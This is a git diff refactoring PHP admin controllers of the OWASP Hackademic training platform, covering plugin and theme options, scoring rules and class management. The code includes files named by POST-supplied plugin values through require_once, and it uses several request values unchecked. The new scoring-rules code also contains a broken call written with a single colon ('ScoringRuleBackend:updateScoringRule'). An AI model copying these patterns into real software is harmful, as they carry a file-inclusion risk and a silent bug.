Options::updateOption('active_user_theme', $this->active_user_theme); - Options::updateOption('active_admin_theme', $this->active_user_theme); + $this->buildView($this->_active_plugins, $this->_active_user_theme); + $this->generateView(); + } + + /** + * Saves the chosen active theme and plugins to the database and notifies enabled and disabled + * plugins. + */ + private function handleFormData() { + // Handle plugins + foreach($_POST as $key => $value) { + if(substr($key, 0, 7) == 'plugin_') { + array_push($this->_active_plugins, $value); + } } - - /** - * Notifies actions that a plugin has been enabled for each plugin in the array. - * - * @param $enabled_plugins - */ - private function notifyEnabledPlugins($enabled_plugins) { - foreach ($enabled_plugins as $plugin) { - require_once(HACKADEMIC_PLUGIN_PATH . $plugin); - Plugin::do_action_ref_array('enable_plugin', array($plugin)); - } - } - - /** - * Notifies actions that a plugin has been disabled for each plugin in the array. - * - * @param $disabled_plugins - */ - private function notifyDisabledPlugins($disabled_plugins) { - foreach ($disabled_plugins as $plugin) { - Plugin::do_action_ref_array('disable_plugin', array($plugin)); - } + $this->notifyEnabledPlugins(array_diff($this->_active_plugins, Options::getOption('active_plugins')->value)); + $this->notifyDisabledPlugins(array_diff(Options::getOption('active_plugins')->value, $this->_active_plugins)); + + // Handle theme + $new_user_theme_path = $_POST['active_user_theme']; + if($this->_active_user_theme != $new_user_theme_path) { + $this->smarty->clear_all_cache(); + Plugin::do_action_ref_array('enable_user_theme', array($new_user_theme_path)); + Plugin::do_action_ref_array('disable_user_theme', array($this->_active_user_theme)); } - - /** - * Fetches the options for active plugins and themes from the database and sets - * these values. - */ - private function setDefaultTemplateVars() { - $this->active_plugins = Options::getOption('active_plugins')->value; - $this->active_user_theme = Options::getOption('active_user_theme')->value; + $this->_active_user_theme = $new_user_theme_path; + + // Update options in database + Options::updateOption('active_plugins', $this->_active_plugins); + Options::updateOption('active_user_theme', $this->_active_user_theme); + Options::updateOption('active_admin_theme', $this->_active_user_theme); + } + + /** + * Notifies actions that a plugin has been enabled for each plugin in the array. + * + * @param $enabled_plugins + */ + private function notifyEnabledPlugins($enabled_plugins) { + foreach($enabled_plugins as $plugin) { + require_once(HACKADEMIC_PLUGIN_PATH . $plugin); + Plugin::do_action_ref_array('enable_plugin', array($plugin)); } - - /** - * Sets the view vars and template. - */ - private function buildView() { - $this->setViewTemplate('options.tpl'); - $this->addToView('plugins', $this->get_plugins()); - $this->addToView('user_themes', $this->getUserThemes()); - $this->addToView('active_plugins', $this->active_plugins); - $this->addToView('active_user_theme', $this->active_user_theme); - $this->addToView('system_theme', ''); + } + + /** + * Notifies actions that a plugin has been disabled for each plugin in the array. + * + * @param $disabled_plugins + */ + private function notifyDisabledPlugins($disabled_plugins) { + foreach($disabled_plugins as $plugin) { + Plugin::do_action_ref_array('disable_plugin', array($plugin)); } - - /** - * Gets the theme files and adds the site root based theme path to theme folder - * to use as directory. - * - * @return array of themes with the key as the path - */ - private function getUserThemes() { - $themes = $this->get_plugins(HACKADEMIC_THEME_PATH); - foreach ($themes as $path => $theme) { - $dir = dirname($path) . '/'; - $themes['user/themes/' . $dir] = $theme; - unset($themes[$path]); - } - return $themes; + } + + /** + * Fetches the options for active plugins and themes from the database and sets + * these values. + */ + private function setDefaultTemplateVars() { + $this->_active_plugins = Options::getOption('active_plugins')->value; + $this->_active_user_theme = Options::getOption('active_user_theme')->value; + } + + /** + * Sets the view vars and template. + */ + private function buildView() { + $this->setViewTemplate('options.tpl'); + $this->addToView('plugins', $this->get_plugins()); + $this->addToView('user_themes', $this->get_user_themes()); + $this->addToView('active_plugins', $this->_active_plugins); + $this->addToView('active_user_theme', $this->_active_user_theme); + $this->addToView('system_theme', ''); + } + + /** + * Gets the theme files and adds the site root based theme path to theme folder + * to use as directory. + * + * @return array of themes with the key as the path + */ + private function get_user_themes() { + $themes = $this->get_plugins(HACKADEMIC_THEME_PATH); + foreach($themes as $path => $theme) { + $dir = dirname($path) . '/'; + $themes['user/themes/' . $dir] = $theme; + unset($themes[$path]); } - - /** - * Check the plugins directory and retrieve all plugin files with plugin data. - * - * Hackademic only supports plugin files in the base plugins directory - * (user/plugins) and in one directory above the plugins directory - * (user/plugins/my-plugin). The file it looks for has the plugin data and - * must be found in those two locations. It is recommended that do keep your - * plugin files in directories and that the data file is named as the plugin - * with a .php extension. - * - * The file with the plugin data is the file that will be included and therefore - * needs to have the main execution for the plugin. This does not mean - * everything must be contained in the file and it is recommended that the file - * be split for maintainability. Keep everything in one file for extreme - * optimization purposes. - * - * @param string $path to look for plugins in - * @return array Key is the plugin file path and the value is an array of the plugin data. - */ - private function get_plugins($path = HACKADEMIC_PLUGIN_PATH) { - $hc_plugins = array(); - $plugins_dir = @opendir($path); - - $plugin_files = array(); - if ($plugins_dir) { - while (($file = readdir($plugins_dir)) !== false) { - if (substr($file, 0, 1) == '.') { - continue; - } - if (is_dir($path . $file)) { - $plugins_subdir = @opendir($path . $file); - if ($plugins_subdir) { - while (($subfile = readdir($plugins_subdir)) !== false) { - if (substr($subfile, 0, 1) == '.') { - continue; - } - if (substr($subfile, -4) == '.php') { - $plugin_files[] = "$file/$subfile"; - } - } - closedir($plugins_subdir); - } - } else { - if (substr($file, -4) == '.php') { - $plugin_files[] = $file; - } - } - } - closedir($plugins_dir); - } - - if (empty($plugin_files)) { - return $hc_plugins; + return $themes; + } + + /** + * Check the plugins directory and retrieve all plugin files with plugin data. + * + * Hackademic only supports plugin files in the base plugins directory + * (user/plugins) and in one directory above the plugins directory + * (user/plugins/my-plugin). The file it looks for has the plugin data and + * must be found in those two locations. It is recommended that do keep your + * plugin files in directories and that the data file is named as the plugin + * with a .php extension. + * + * The file with the plugin data is the file that will be included and therefore + * needs to have the main execution for the plugin. This does not mean + * everything must be contained in the file and it is recommended that the file + * be split for maintainability. Keep everything in one file for extreme + * optimization purposes. + * + * @param string $path to look for plugins in + * @return array Key is the plugin file path and the value is an array of the plugin data. + */ + private function get_plugins($path = HACKADEMIC_PLUGIN_PATH) { + $hc_plugins = array (); + $plugins_dir = @opendir($path); + + $plugin_files = array(); + if ($plugins_dir) { + while(($file = readdir($plugins_dir)) !== false) { + if (substr($file, 0, 1) == '.') { + continue; } - - foreach ($plugin_files as $plugin_file) { - if (!is_readable($path . $plugin_file)) { + if(is_dir($path . $file) ) { + $plugins_subdir = @opendir($path . $file); + if ($plugins_subdir) { + while(($subfile = readdir($plugins_subdir)) !== false) { + if(substr($subfile, 0, 1) == '.') { continue; + } + if(substr($subfile, -4) == '.php') { + $plugin_files[] = "$file/$subfile"; + } } - - $plugin_data = self::get_plugin_data($path . $plugin_file); - - if (empty($plugin_data['Name'])) { - continue; + closedir($plugins_subdir); + } + } else { + if(substr($file, -4) == '.php') { + $plugin_files[] = $file; } - - $hc_plugins[self::plugin_basename($plugin_file)] = $plugin_data; } - - return $hc_plugins; } + closedir($plugins_dir); + } - /** - * Gets the basename of a plugin. - * - * This method extracts the name of a plugin from its filename. - * - * @param string $file The filename of plugin. - * @return string The name of a plugin. - */ - private function plugin_basename($file) { - $file = str_replace('\\', '/', $file); // sanitize for Win32 installs - $file = preg_replace('|/+|', '/', $file); // remove any duplicate slash - $plugin_dir = str_replace('\\', '/', HACKADEMIC_PLUGIN_PATH); // sanitize for Win32 installs - $plugin_dir = preg_replace('|/+|', '/', $plugin_dir); // remove any duplicate slash - $file = preg_replace('#^' . preg_quote($plugin_dir, '#') . '/|^' . '/#', '', $file); // get relative path from plugins dir - $file = trim($file, '/'); - return $file; - } - - /** - * Parse the plugin contents to retrieve plugin's metadata. - * - * The metadata of the plugin's data searches for the following in the plugin's - * header. All plugin data must be on its own line. For plugin description, it - * must not have any newlines or only parts of the description will be displayed - * and the same goes for the plugin data. The below is formatted for printing. - * - * - * /* - * Plugin Name: Name of Plugin - * Plugin URI: Link to plugin information - * Description: Plugin Description - * Author: Plugin author's name - * Author URI: Link to the author's web site - * Version: Must be set in the plugin for WordPress 2.3+ - * - * - * Plugin data returned array contains the following: - * 'Name' - Name of the plugin, must be unique. - * 'Title' - Title of the plugin and the link to the plugin's web site. - * 'Description' - Description of what the plugin does and/or notes - * from the author. - * 'Author' - The author's name - * 'AuthorURI' - The authors web site address. - * 'Version' - The plugin version number. - * 'PluginURI' - Plugin web site address. - * - * Some users have issues with opening large files and manipulating the contents - * for want is usually the first 1kiB or 2kiB. This function stops pulling in - * the plugin contents when it has all of the required plugin data. - * - * The first 8kiB of the file will be pulled in and if the plugin data is not - * within that first 8kiB, then the plugin author should correct their plugin - * and move the plugin data headers to the top. - * - * The plugin file is assumed to have permissions to allow for scripts to read - * the file. This is not checked however and the file is only opened for - * reading. - * - * @param string $plugin_file Path to the plugin file - * @return array See above for description. - */ - private function get_plugin_data($plugin_file) { - $default_headers = array( - 'Name' => 'Plugin Name', - 'PluginURI' => 'Plugin URI', - 'Version' => 'Version', - 'Description' => 'Description', - 'Author' => 'Author', - 'AuthorURI' => 'Author URI', - ); - - $plugin_data = self::get_file_data($plugin_file, $default_headers, 'plugin'); - $plugin_data['Title'] = $plugin_data['Name']; - $plugin_data['AuthorName'] = $plugin_data['Author']; - - return $plugin_data; - } + if(empty($plugin_files)) { + return $hc_plugins; + } - /** - * Retrieve metadata from a file. - * - * Searches for metadata in the first 8kiB of a file, such as a plugin or theme. - * Each piece of metadata must be on its own line. Fields can not span multiple - * lines, the value will get cut at the end of the first line. - * - * If the file data is not within that first 8kiB, then the author should correct - * their plugin file and move the data headers to the top. - * - * @param string $file Path to the file - * @param array $default_headers List of headers, in the format array('HeaderKey' => 'Header Name') - * @param string $context If specified adds filter hook "extra_{$context}_headers" - * @return all headers - */ - private function get_file_data($file, $default_headers, $context = '') { - // We don't need to write to the file, so just open for reading. - $fp = fopen($file, 'r'); + foreach ($plugin_files as $plugin_file) { + if(!is_readable($path . $plugin_file)) { + continue; + } - // Pull only the first 8kiB of the file in. - $file_data = fread($fp, 8192); + $plugin_data = self::get_plugin_data($path . $plugin_file); - // PHP will close file handle, but we are good citizens. - fclose($fp); + if(empty($plugin_data['Name'])) { + continue; + } - // Make sure we catch CR-only line endings. - $file_data = str_replace("\r", "\n", $file_data); - - $all_headers = $default_headers; - foreach ($all_headers as $field => $regex) { - if (preg_match('/^[ \t\/*#@]*' . preg_quote($regex, '/') . ':(.*)$/mi', $file_data, $match) && $match[1]) { - $all_headers[$field] = strip_tags(self::cleanup_header_comment($match[1])); - } else { - $all_headers[$field] = ''; - } - } - - return $all_headers; + $hc_plugins[self::plugin_basename($plugin_file)] = $plugin_data; } - /** - * Strip close comment and close php tags from file headers used by Hackademic. - * - * @param string $str - * @return string - */ - private function cleanup_header_comment($str) { - return trim(preg_replace("/\s*(?:\*\/|\?>).*/", '', $str)); + return $hc_plugins; + } + + /** + * Gets the basename of a plugin. + * + * This method extracts the name of a plugin from its filename. + * + * @param string $file The filename of plugin. + * @return string The name of a plugin. + */ + private function plugin_basename($file) { + $file = str_replace('\\','/',$file); // sanitize for Win32 installs + $file = preg_replace('|/+|','/', $file); // remove any duplicate slash + $plugin_dir = str_replace('\\','/',HACKADEMIC_PLUGIN_PATH); // sanitize for Win32 installs + $plugin_dir = preg_replace('|/+|','/', $plugin_dir); // remove any duplicate slash + $file = preg_replace('#^' . preg_quote($plugin_dir, '#') . '/|^' . '/#', '', $file); // get relative path from plugins dir + $file = trim($file, '/'); + return $file; + } + + /** + * Parse the plugin contents to retrieve plugin's metadata. + * + * The metadata of the plugin's data searches for the following in the plugin's + * header. All plugin data must be on its own line. For plugin description, it + * must not have any newlines or only parts of the description will be displayed + * and the same goes for the plugin data. The below is formatted for printing. + * + * + * /* + * Plugin Name: Name of Plugin + * Plugin URI: Link to plugin information + * Description: Plugin Description + * Author: Plugin author's name + * Author URI: Link to the author's web site + * Version: Must be set in the plugin for WordPress 2.3+ + * + * + * Plugin data returned array contains the following: + * 'Name' - Name of the plugin, must be unique. + * 'Title' - Title of the plugin and the link to the plugin's web site. + * 'Description' - Description of what the plugin does and/or notes + * from the author. + * 'Author' - The author's name + * 'AuthorURI' - The authors web site address. + * 'Version' - The plugin version number. + * 'PluginURI' - Plugin web site address. + * + * Some users have issues with opening large files and manipulating the contents + * for want is usually the first 1kiB or 2kiB. This function stops pulling in + * the plugin contents when it has all of the required plugin data. + * + * The first 8kiB of the file will be pulled in and if the plugin data is not + * within that first 8kiB, then the plugin author should correct their plugin + * and move the plugin data headers to the top. + * + * The plugin file is assumed to have permissions to allow for scripts to read + * the file. This is not checked however and the file is only opened for + * reading. + * + * @param string $plugin_file Path to the plugin file + * @return array See above for description. + */ + private function get_plugin_data($plugin_file) { + $default_headers = array( + 'Name' => 'Plugin Name', + 'PluginURI' => 'Plugin URI', + 'Version' => 'Version', + 'Description' => 'Description', + 'Author' => 'Author', + 'AuthorURI' => 'Author URI', + ); + + $plugin_data = self::get_file_data($plugin_file, $default_headers, 'plugin'); + $plugin_data['Title'] = $plugin_data['Name']; + $plugin_data['AuthorName'] = $plugin_data['Author']; + + return $plugin_data; + } + + /** + * Retrieve metadata from a file. + * + * Searches for metadata in the first 8kiB of a file, such as a plugin or theme. + * Each piece of metadata must be on its own line. Fields can not span multiple + * lines, the value will get cut at the end of the first line. + * + * If the file data is not within that first 8kiB, then the author should correct + * their plugin file and move the data headers to the top. + * + * @param string $file Path to the file + * @param array $default_headers List of headers, in the format array('HeaderKey' => 'Header Name') + * @param string $context If specified adds filter hook "extra_{$context}_headers" + * @return all headers + */ + private function get_file_data( $file, $default_headers, $context = '' ) { + // We don't need to write to the file, so just open for reading. + $fp = fopen( $file, 'r' ); + + // Pull only the first 8kiB of the file in. + $file_data = fread( $fp, 8192 ); + + // PHP will close file handle, but we are good citizens. + fclose( $fp ); + + // Make sure we catch CR-only line endings. + $file_data = str_replace( "\r", "\n", $file_data ); + + $all_headers = $default_headers; + foreach ($all_headers as $field => $regex) { + if (preg_match('/^[ \t\/*#@]*' . preg_quote( $regex, '/') . ':(.*)$/mi', $file_data, $match) && $match[1]) { + $all_headers[$field] = strip_tags(self::cleanup_header_comment($match[1])); + } + else { + $all_headers[$field] = ''; + } } + return $all_headers; + } + + /** + * Strip close comment and close php tags from file headers used by Hackademic. + * + * @param string $str + * @return string + */ + private function cleanup_header_comment($str) { + return trim(preg_replace("/\s*(?:\*\/|\?>).*/", '', $str)); + } + } diff --git a/admin/controller/class.ScoringRulesController.php b/admin/controller/class.ScoringRulesController.php index 63e87ba4..1eca0e79 100755 --- a/admin/controller/class.ScoringRulesController.php +++ b/admin/controller/class.ScoringRulesController.php @@ -1,178 +1,161 @@ . - * - * - * @author Spyros Gasteratos - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html - * @copyright 2012 OWASP - * - */ -require_once(HACKADEMIC_PATH."admin/model/class.ClassMemberships.php"); -require_once(HACKADEMIC_PATH."admin/model/class.ClassChallenges.php"); -require_once(HACKADEMIC_PATH."admin/model/class.Classes.php"); -require_once(HACKADEMIC_PATH."admin/controller/class.HackademicBackendController.php"); -require_once(HACKADEMIC_PATH."admin/model/class.ScoringRuleBackend.php"); -require_once(HACKADEMIC_PATH."model/common/class.Challenge.php"); -require_once(HACKADEMIC_PATH."model/common/class.Utils.php"); -require_once(HACKADEMIC_PATH."model/common/class.ScoringRule.php"); -class ScoringRulesController extends HackademicBackendController { +require_once HACKADEMIC_PATH."admin/model/class.ClassMemberships.php"; +require_once HACKADEMIC_PATH."admin/model/class.ClassChallenges.php"; +require_once HACKADEMIC_PATH."admin/model/class.Classes.php"; +require_once HACKADEMIC_PATH."admin/controller/class.HackademicBackendController.php"; +require_once HACKADEMIC_PATH."admin/model/class.ScoringRuleBackend.php"; +require_once HACKADEMIC_PATH."model/common/class.Challenge.php"; +require_once HACKADEMIC_PATH."model/common/class.Utils.php"; +require_once HACKADEMIC_PATH."model/common/class.ScoringRule.php"; - public function go() { - $this->setViewTemplate('scoringrules.tpl'); +class ScoringRulesController extends HackademicBackendController +{ - if (!isset($_GET['class_id'])) { - header('Location: '.SOURCE_ROOT_PATH."admin/pages/manageclass.php"); - die(); - } - $_POST['class_id'] = $class_id = $_GET['class_id']; - $_POST['challenge_id'] = $challenge_id = $_GET['cid']; + public function go() + { + $this->setViewTemplate('scoringrules.tpl'); - $class = Classes::getClass($class_id); + if (!isset($_GET['class_id'])) { + header('Location: '.SOURCE_ROOT_PATH."admin/pages/manageclass.php"); + die(); + } + $_POST['class_id'] = $class_id = $_GET['class_id']; + $_POST['challenge_id'] = $challenge_id = $_GET['cid']; - if(isset($_POST['updaterule'])) { - if ($_POST['updaterule']=='') { - header('Location: '.SOURCE_ROOT_PATH."admin/pages/scoringrules.php?id=$class_id&action=editerror"); - die(); - } - elseif($_POST['updaterule'] == 'Edit Rule') { - $newRule = $this->request_to_rule_object($_POST); - if ( ScoringRule::isDefaultRule($newRule) == false ) { + $class = Classes::getClass($class_id); - $rule = ScoringRule::get_scoring_rule_by_challenge_class_id($challenge_id, $class_id); + if (isset($_POST['updaterule'])) { + if ($_POST['updaterule']=='') { + header('Location: '.SOURCE_ROOT_PATH."admin/pages/scoringrules.php?id=$class_id&action=editerror"); + die(); + } elseif ($_POST['updaterule'] == 'Edit Rule') { + $newRule = $this->_requestToRuleObject($_POST); + if (ScoringRule::isDefaultRule($newRule) == false ) { - if( $rule == NO_RESULTS ){ - ScoringRuleBackend::add_scoring_rule( $_POST['challenge_id'], - $_POST['class_id'], - $_POST['attempt_cap'], - $_POST['attempt_cap_penalty'], - $_POST['time_between_first_and_last_attempt'], - $_POST['time_penalty'], - $_POST['time_reset_limit_seconds'], - $_POST['request_frequency_per_minute'], - $_POST['request_frequency_penalty'], - $_POST['experimentation_bonus'], - $_POST['multiple_solution_bonus'], - $_POST['banned_user_agents'], - $_POST['base_score'], - $_POST['banned_user_agents_penalty'], - $_POST['first_try_solves'], - $_POST['penalty_for_many_first_try_solves']); - }else{ - ScoringRuleBackend::update_scoring_rule( $rule->id, - $_POST['challenge_id'], - $_POST['class_id'], - $_POST['attempt_cap'], - $_POST['attempt_cap_penalty'], - $_POST['time_between_first_and_last_attempt'], - $_POST['time_penalty'], - $_POST['time_reset_limit_seconds'], - $_POST['request_frequency_per_minute'], - $_POST['request_frequency_penalty'], - $_POST['experimentation_bonus'], - $_POST['multiple_solution_bonus'], - $_POST['banned_user_agents'], - $_POST['base_score'], - $_POST['banned_user_agents_penalty'], - $_POST['first_try_solves'], - $_POST['penalty_for_many_first_try_solves']); + $rule = ScoringRule::getScoringRuleByChallengeClassId($challenge_id, $class_id); - }$this->addSuccessMessage("Scoring rule has been updated succesfully"); - }else{ - $this->addSuccessMessage("Scoring rule has been updated succesfully"); - } - } - } + if ($rule == NO_RESULTS ) { + ScoringRuleBackend::addScoringRule( + $_POST['challenge_id'], + $_POST['class_id'], + $_POST['attempt_cap'], + $_POST['attempt_cap_penalty'], + $_POST['time_between_first_and_last_attempt'], + $_POST['time_penalty'], + $_POST['time_reset_limit_seconds'], + $_POST['request_frequency_per_minute'], + $_POST['request_frequency_penalty'], + $_POST['experimentation_bonus'], + $_POST['multiple_solution_bonus'], + $_POST['banned_user_agents'], + $_POST['base_score'], + $_POST['banned_user_agents_penalty'], + $_POST['first_try_solves'], + $_POST['penalty_for_many_first_try_solves'] + ); + } else { + ScoringRuleBackend:updateScoringRule( + $rule->id, + $_POST['challenge_id'], + $_POST['class_id'], + $_POST['attempt_cap'], + $_POST['attempt_cap_penalty'], + $_POST['time_between_first_and_last_attempt'], + $_POST['time_penalty'], + $_POST['time_reset_limit_seconds'], + $_POST['request_frequency_per_minute'], + $_POST['request_frequency_penalty'], + $_POST['experimentation_bonus'], + $_POST['multiple_solution_bonus'], + $_POST['banned_user_agents'], + $_POST['base_score'], + $_POST['banned_user_agents_penalty'], + $_POST['first_try_solves'], + $_POST['penalty_for_many_first_try_solves'] + ); - if (isset($_GET['action']) && $_GET['action'] == "editerror") { - $this->addErrorMessage("Fields should not be empty"); - } - if (isset($_POST['deleterule']) && $_POST['deleterule'] == "Delete Rule") { - $rule = ScoringRule::get_scoring_rule_by_challenge_class_id($challenge_id, $class_id); - if ( $rule != false && ScoringRule::isDefaultRule($rule) == false ){ - ScoringRuleBackend::delete_scoring_rule($rule->id); - $this->addErrorMessage("Scoring rule has been deleted succesfully"); - } - } + }$this->addSuccessMessage( + "Scoring rule has been updated succesfully" + ); + } else { + $this->addSuccessMessage( + "Scoring rule has been updated succesfully" + ); + } + } + } + if (isset($_GET['action']) && $_GET['action'] == "editerror") { + $this->addErrorMessage("Fields should not be empty"); + } + if (isset($_POST['deleterule']) && $_POST['deleterule'] == "Delete Rule") { + $rule = ScoringRule::getScoringRuleByChallengeClassId($challenge_id, $class_id); + if ($rule != false && ScoringRule::isDefaultRule($rule) == false ) { + ScoringRuleBackend::deleteScoringRule($rule->id); + $this->addErrorMessage("Scoring rule has been deleted succesfully"); + } + } - $rule = ScoringRule::get_scoring_rule_by_challenge_class_id($challenge_id, $class_id); - if ($rule == NO_RESULTS){ - $this->addSuccessMessage("This challenge does not have any specific scoring rules
the default ones where loaded"); - $rule = ScoringRule::get_scoring_rule(DEFAULT_RULES_ID); - } - $class_name = Classes::getClass($class_id); - $class_name = $class_name->name; - $challenge_name = Challenge::getChallenge($challenge_id); - $challenge_name = $challenge_name->title; + $rule = ScoringRule::getScoringRuleByChallengeClassId($challenge_id, $class_id); + if ($rule == NO_RESULTS) { + $this->addSuccessMessage( + "This challenge does not have any specific scoring rules
the + default ones where loaded" + ); + $rule = ScoringRule::getScoringRule(DEFAULT_RULES_ID); + } + $class_name = Classes::getClass($class_id); + $class_name = $class_name->name; - $rule_names = array(); - $rule_name['attempt_cap'] = 'Maximum Attempts'; - $rule_name['attempt_cap_penalty'] = 'Penalty If Maximum Attempts Reached'; - $rule_name['time_between_first_and_last_attempt'] = 'Challenge Duration (seconds)'; - $rule_name['time_penalty'] = 'Penalty For Late Challenges'; - $rule_name['time_reset_limit_seconds'] = 'When to Reset the late timer (seconds)'; - $rule_name['request_frequency_per_minute'] = 'Maximum Attempts per minute'; - $rule_name['request_frequency_penalty'] = ' Penalty for too many attempts per second'; - $rule_name['experimentation_bonus'] = ' Bonus points for more attempts after the succesful one'; - $rule_name['multiple_solution_bonus'] = 'Bonus points for more SUCCESFUL attempts after the succesful one'; - $rule_name['banned_user_agents'] = 'A list of user agent keywords which are banned (keywords seperated by commas )'; - $rule_name['banned_user_agents_penalty'] = 'Penalty for use of banned user agents'; - $rule_name['first_try_solves'] = 'Cheating prevention, how many challenges the user must solve on the first try to be considered cheating?'; - $rule_name['penalty_for_many_first_try_solves'] = 'Point penalty for many rapid fire solutions'; - $rule_name['base_score'] = 'Whats the score for a succesful attempt if no penalties or bonuses apply?'; + $challenge_name = Challenge::getChallenge($challenge_id); + $challenge_name = $challenge_name->title; - /*Skip $id, $class_id $challenge_id*/ - unset($rule->id); - unset($rule->class_id); - unset($rule->challenge_id); - $this->addToView('rule_names',$rule_name); - $this->addToView('rules',$rule); - $this->addToView('class_name',$class_name); - $this->addToView('challenge_name',$challenge_name); - return $this->generateView(); - } - private function request_to_rule_object($request){ - $rule = new ScoringRule(); - $rule->class_id = $request['class_id']; - $rule->attempt_cap = $request['attempt_cap']; - $rule->attempt_cap_penalty = $request['attempt_cap_penalty']; - $rule->time_between_first_and_last_attempt = $request['time_between_first_and_last_attempt']; - $rule->time_penalty = $request['time_penalty']; - $rule->time_reset_limit_seconds = $request['time_reset_limit_seconds']; - $rule->request_frequency_per_minute = $request['request_frequency_per_minute']; - $rule->request_frequency_penalty = $request['request_frequency_penalty']; - $rule->experimentation_bonus = $request['experimentation_bonus']; - $rule->multiple_solution_bonus = $request['multiple_solution_bonus']; - $rule->banned_user_agents = $request['banned_user_agents']; - $rule->base_score = $request['base_score']; - $rule->banned_user_agents_penalty = $request['banned_user_agents_penalty']; - $rule->first_try_solves = $request['first_try_solves']; - $rule->penalty_for_many_first_try_solves = $request['penalty_for_many_first_try_solves']; - return $rule; - } + $rule_names = array(); + $rule_name['attempt_cap'] = 'Maximum Attempts'; + $rule_name['attempt_cap_penalty'] = 'Penalty If Maximum Attempts Reached'; + $rule_name['time_between_first_and_last_attempt'] = 'Challenge Duration (seconds)'; + $rule_name['time_penalty'] = 'Penalty For Late Challenges'; + $rule_name['time_reset_limit_seconds'] = 'When to Reset the late timer (seconds)'; + $rule_name['request_frequency_per_minute'] = 'Maximum Attempts per minute'; + $rule_name['request_frequency_penalty'] = ' Penalty for too many attempts per second'; + $rule_name['experimentation_bonus'] = ' Bonus points for more attempts after the succesful one'; + $rule_name['multiple_solution_bonus'] = 'Bonus points for more SUCCESFUL attempts after the succesful one'; + $rule_name['banned_user_agents'] = 'A list of user agent keywords which are banned (keywords seperated by commas )'; + $rule_name['banned_user_agents_penalty'] = 'Penalty for use of banned user agents'; + $rule_name['first_try_solves'] = 'Cheating prevention, how many challenges the user must solve on the first try to be considered cheating?'; + $rule_name['penalty_for_many_first_try_solves'] = 'Point penalty for many rapid fire solutions'; + $rule_name['base_score'] = 'Whats the score for a succesful attempt if no penalties or bonuses apply?'; + + /*Skip $id, $class_id $challenge_id*/ + unset($rule->id); + unset($rule->class_id); + unset($rule->challenge_id); + $this->addToView('rule_names', $rule_name); + $this->addToView('rules', $rule); + $this->addToView('class_name', $class_name); + $this->addToView('challenge_name', $challenge_name); + return $this->generateView(); + } + private function _requestToRuleObject($request) + { + $rule = new ScoringRule(); + $rule->class_id = $request['class_id']; + $rule->attempt_cap = $request['attempt_cap']; + $rule->attempt_cap_penalty = $request['attempt_cap_penalty']; + $rule->time_between_first_and_last_attempt = $request['time_between_first_and_last_attempt']; + $rule->time_penalty = $request['time_penalty']; + $rule->time_reset_limit_seconds = $request['time_reset_limit_seconds']; + $rule->request_frequency_per_minute = $request['request_frequency_per_minute']; + $rule->request_frequency_penalty = $request['request_frequency_penalty']; + $rule->experimentation_bonus = $request['experimentation_bonus']; + $rule->multiple_solution_bonus = $request['multiple_solution_bonus']; + $rule->banned_user_agents = $request['banned_user_agents']; + $rule->base_score = $request['base_score']; + $rule->banned_user_agents_penalty = $request['banned_user_agents_penalty']; + $rule->first_try_solves = $request['first_try_solves']; + $rule->penalty_for_many_first_try_solves = $request['penalty_for_many_first_try_solves']; + return $rule; + } } diff --git a/admin/controller/class.ShowClassController.php b/admin/controller/class.ShowClassController.php index 8a18c875..3d8bd033 100644 --- a/admin/controller/class.ShowClassController.php +++ b/admin/controller/class.ShowClassController.php @@ -1,118 +1,128 @@ -. - * - * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html - * @copyright 2012 OWASP - * - */ -require_once(HACKADEMIC_PATH."admin/model/class.ClassMemberships.php"); -require_once(HACKADEMIC_PATH."admin/model/class.ClassChallenges.php"); -require_once(HACKADEMIC_PATH."admin/model/class.Classes.php"); -require_once(HACKADEMIC_PATH."admin/controller/class.HackademicBackendController.php"); -require_once(HACKADEMIC_PATH."model/common/class.Challenge.php"); -require_once(HACKADEMIC_PATH."model/common/class.Utils.php"); -require_once(HACKADEMIC_PATH."model/common/class.ScoringRule.php"); - -class ShowClassController extends HackademicBackendController { - - private static $action_type = 'show_class'; - - public function go() { - $this->setViewTemplate('showclass.tpl'); - - if (!isset($_GET['id'])) { - header('Location: '.SOURCE_ROOT_PATH."?url=admin/manageclass"); - die(); - } - $class_id=$_GET['id']; - - $class = Classes::getClass($class_id); - $change = false; - - if(isset($_POST['submit'])) { - if(isset($_POST['updateclassname'])) { - if ($_POST['updateclassname']=='') { - header('Location: '.SOURCE_ROOT_PATH."?url=admin/showclass&id=$class_id&action=editerror"); - die(); - } - else { - if ($_POST['challenges'] !='default') { - ClassChallenges::addMembership($_POST['challenges'],$_GET['id']); - $this->addSuccessMessage("Challenge has been added to the class succesfully"); - } - if($_POST['updateclassname'] != $class->name){ - $change = true; - $this->name = Utils::sanitizeInput($_POST['updateclassname']); - Classes::updateClassName($class_id, $this->name); - header('Location: '.SOURCE_ROOT_PATH."?url=admin/showclass&id=$class_id&action=editsuccess&message=cname"); - die(); - } - } - } - } - if (isset($_GET['action']) && $_GET['action'] == "editerror") { - $this->addErrorMessage("Class name should not be empty"); - } - if (isset($_GET['action']) && $_GET['action'] == "editsuccess") { - $this->addSuccessMessage("Class name updated successfully"); - } - if (isset($_GET['action']) && $_GET['action'] == "del") { - if (isset($_GET['uid'])) { - ClassMemberships::deleteMembership($_GET['uid'],$class_id); - $this->addSuccessMessage("User has been deleted from the class succesfully"); - } else if (isset($_GET['cid'])) { - ClassChallenges::deleteMembership($_GET['cid'],$class_id); - $this->addSuccessMessage("Challenge has been deleted from the class succesfully"); - } - } - - - $user_members = ClassMemberships::getAllMemberships($class_id); - $challenges_assigned = ClassChallenges::getAllMemberships($class_id); - - $rules_arr = array(); - foreach($challenges_assigned as $challenge){ - $rule = ScoringRule::get_scoring_rule_by_challenge_class_id($challenge['challenge_id'], $class_id); - if($rule == NO_RESULTS ) - $rule = ScoringRule::get_scoring_rule(DEFAULT_RULES_ID); - $rules_arr[$challenge['challenge_id']] = ScoringRule::getRuleSummary($rule); - } - if($change) - $class = Classes::getClass($class_id); -/* - var_dump($challenges_not_assigned); - var_dump($challenges_assigned); -*/ - $challenges_not_assigned = ClassChallenges::getNotMemberships($class_id); - $this->addToView('class', $class); - $this->addToView('challenges_not_assigned',$challenges_not_assigned); - $this->addToView('users', $user_members); - $this->addToView('challenges', $challenges_assigned); - return $this->generateView(self::$action_type); - } -} +. + * + * PHP Version 5. + * + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou + * @copyright 2012 OWASP + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html + */ +require_once HACKADEMIC_PATH."admin/model/class.ClassMemberships.php"; +require_once 